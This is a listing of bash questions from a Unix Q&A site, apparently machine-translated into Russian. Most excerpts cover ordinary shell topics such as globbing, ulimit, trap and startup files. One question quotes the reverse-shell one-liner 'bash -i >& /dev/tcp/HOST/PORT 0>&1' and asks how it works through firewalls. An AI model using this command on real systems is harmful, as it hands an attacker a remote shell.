Вопросы с тегом «bash»

Вопросы, специфичные для GNU Bourne Again SHell, в отличие от других оболочек Bourne / POSIX. Для вопросов о оболочках Unix в целом используйте вместо этого тег / shell.

5
Как использовать скрипт bash для чтения содержимого двоичного файла?
Я хочу прочитать символ, а затем фиксированную длину строки (строка не заканчивается нулем в файле, а ее длина задается предыдущим символом). Как я могу сделать это в скрипте bash? Как определить строковую переменную, чтобы я мог выполнить некоторую постобработку на ней?

2
Передать параметры командной строки в программу внутри сценария оболочки
Что же касается ./script.sh arg1 [arg2 arg3 ...], аргументов командной строки arg1, arg2... может быть приобретено $1, $2... Но число аргументов НЕ фиксировано. В сценарии оболочки я хочу передать аргументы, начиная с arg2программы, #/bin/bash ... /path/to/a/program [I want to pass arg2 arg3 ... to the program] ... Как я мог …

1
Как заставить запись истории правильно отображаться на нескольких строках
Предположим, что я ввел функцию в приглашении bash, в несколько строк, а не сжимая ее на точку с запятой: $ function blah { echo blah } $ history -1 12690 function blah {\necho blah\n} Как заставить это отображаться с реальными символами новой строки вместо '\ n'?

3
Листинг с `ls` и регулярным выражением
Как я могу перечислить файлы с именем файла, оканчивающимся на последний символ и с .txtрасширением? Я попытался , ls *+([[:digit:]]).txtно это верно для abc12.txtи abc2.txt. Но мне нужно только получить abc2.txt. Как я могу это сделать? Есть ли какая-то форма, :digit:которая это сделает?
15 bash  wildcards 

2
ulimit PICKLE: «Операция не разрешена» и «Команда не найдена»
Я пытаюсь увеличить максимальное количество открытых файлов для текущего пользователя > ulimit -n 1024 Я пытаюсь увеличить и потерпеть неудачу следующим образом > ulimit -n 4096 bash: ulimit: open files: cannot modify limit: Operation not permitted Так что я делаю естественное и пытаюсь запустить с временным разрешением, но не могу …
15 bash  fedora  sudo  limit 

1
Узнайте, какие скрипты запускаются bash при запуске
После запуска терминала bash я заметил, что переменная PATH содержит повторяющиеся записи. Мой терминал запускает оболочку входа в систему , поэтому ~/.bash_profileполучает источник, а затем ~/.profileи ~/.bashrc. Только в этом случае ~/.profileя создаю записи путей, которые дублируются. Чтобы быть педантичным, это порядок, в котором файлы должны быть получены: Sourced /etc/profile …
15 bash  profile 

3
Ошибка Bash throws, строка 8: $ 1: несвязанная переменная
Я пытаюсь научиться использовать getopts, чтобы у меня могли быть сценарии с анализируемым вводом (хотя я думаю, что getopts мог бы быть лучше). Я пытаюсь просто написать простой скрипт, чтобы вернуть процент использования разделов. Проблема в том, что одной из моих функций bash, похоже, не нравится то, что я называю …

1
Значение bash -i> & / dev / tcp / HOST / PORT 0> & 1?
Я старался bash -i >& /dev/tcp/HOST/PORT 0>&1 но, похоже, он не работает за брандмауэрами. Что на самом деле делает этот код, какие порты перенаправляются и может ли он работать за брандмауэрами?


5
Могу ли я выбрать только один результат из bash glob?
Я пытаюсь написать скрипт для работы, чтобы автоматизировать некоторые отчеты о выходе. Файлы журнала (в настоящее время это «стандартизация» в будущем) хранятся в такой структуре путей: /<root_path>/<process_one_path>/logs/<time_date_stamp>/<specific_log_file> /<root_path>/<process_two_path>/logs/<different_time_date_stamp>/<specific_log_file> Известна каждая часть пути, кроме меток даты и времени, которые всегда являются самыми последними в папке. Если я попытаюсь использовать подстановочный знак …
14 bash  wildcards  glob 


1
Зачем мне нужно вставлять 12 символов, чтобы очистить эту командную строку bash?
Я открываю терминал xterm (80 столбцов х 24 строки), затем запускаю $ bash --norc --noprofile, а затем $ ttyполучаю имя файла терминала: вывод /dev/pts/9. Из другого терминала я бегу: $ printf foo >/dev/pts/9 fooвыводится в командной строке оболочки в первом терминале. Если я нажимаю C-uдля запуска unix-line-discard(имя функции, заданной $ …

3
Почему не systemctl \ {restart, status} \ sshd \; Работа?
Вывод вышеуказанной команды при передаче через echo: # echo systemctl\ {restart,status}\ sshd\; systemctl restart sshd; systemctl status sshd; Даже если я вставлю вывод в терминал, команда работает. Но когда я пытаюсь выполнить команду напрямую, я получаю: # systemctl\ {restart,status}\ sshd\; bash: systemctl restart sshd;: command not found... У меня есть …

2
Являются ли сигналы EXIT, DEBUG, RETURN и ERR?
trapВстроенный в Баш имеет следующий синтаксис trap [-lp] [arg] [sigspec ...] ... Каждый из них sigspecявляется либо именем сигнала, либо номером сигнала. Имена сигналов нечувствительны к регистру, а префикс SIG является необязательным. ... Баш вручную указывает, что sigspecможет быть EXIT, DEBUG, RETURNи ERR. Это названия сигналов? Почему я не нахожу …
14 bash  signals 

1
Различное поведение cd с несколькими аргументами в выпусках bash
Размещение здесь чего-то, что озадачивает меня; обновление сервера приложений от Jessie до Stretch сломало bashскрипт. После расследования мы сузили это до изменения поведения cdкоманды. Я не обсуждаю здесь, если то, что делает сценарий, является хорошей идеей или может быть улучшено, я просто фокусируюсь на изменении поведения / осознании изменений мышления. …
14 bash  cd-command 

Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.